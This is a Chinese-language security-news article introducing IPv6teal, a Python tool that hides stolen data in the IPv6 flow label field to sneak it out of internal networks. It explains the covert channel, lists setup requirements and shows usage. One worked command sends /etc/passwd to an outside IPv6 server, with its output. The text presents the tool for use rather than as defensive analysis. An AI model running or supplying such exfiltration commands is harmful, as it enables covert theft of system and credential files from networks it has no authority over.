IPv6teal：使用IPV6 covert channel进行隐蔽的数据渗透

secist FreeBuf

IPv6teal是一款由Python 3编写的工具，它可以使用构建在IPv6报头流标签字段之上的隐蔽信道，隐蔽的从内部网络中泄露数据。

其主要由以下2个部分组成：

exfiltrate.py：客户端组件，用于从内部计算机中泄露数据
receive.py：服务器端组件，用于接收窃取数据

背景

Flow Label：20比特。IPv6中新增。

流标签可用来标记特定流的报文，以便在网络层区分不同的报文。转发路径上的路由器可以根据流标签来区分流并进行处理。由于流标签在IPv6报文头中携带，转发路由器可以不必根据报文内容来识别不同的流，目的节点也同样可以根据流标签识别流，同时由于流标签在报文头中，因此使用IPSec后仍然可以根据流标签进行QoS处理。
(Wikipedia)

可以将该字段设置为任意值，而不会影响数据包传递到其目标。

因此，我们可以通过在此字段中存储数据来构建隐蔽信道。exfiltration脚本每20比特数据发送1个IPv6数据包，receiver脚本通过读取该字段重建数据。每个IPv6数据包发送的payload包含一个魔术值（magic value）以及一个序列号。因此，接收端可以确定哪些IPv6分组与其相关并进行解码。

使用

基本要求：

客户端（存数据）和服务器（窃取数据）都需要支持IPv6并拥有IPv6地址。在测试中，我使用的是5美元/月的DigitalOcean droplet。
客户端和服务器都需要安装scapy（pip install scapy==2.4.2）
Python 3

Server

在提取数据的计算机上，以root身份运行receive.py。


$ python3 receive.py hashes
[-] Started receiver

Client

在泄露数据的计算机上，以root身份运行exfiltrate.py。


$ python3 exfiltrate.py --help
usage: exfiltrate.py [-h] [--packet-sending-interval-ms SENDING_INTERVAL]                     input_file destination
positional arguments:  input_file            File to exfiltrate  destination           IPv6 address where to exfiltrate data
optional arguments:  -h, --help            show this help message and exit  --packet-sending-interval-ms SENDING_INTERVAL                        Number of milliseconds to wait between each IPv6                        packet to send (default: 10)

使用示例：


$ python3 exfiltrate.py /etc/passwd 2a03:b0c0:3:d0::cee:8001  
Sending 560 bytes (4480 bits) in 225 IPv6 packets...
..................................................                                                                                                                                                           ..................................................                                                                                                                                                           ..................................................                                                                                                                                                           ..................................................                                                                                                                                                           ........................
done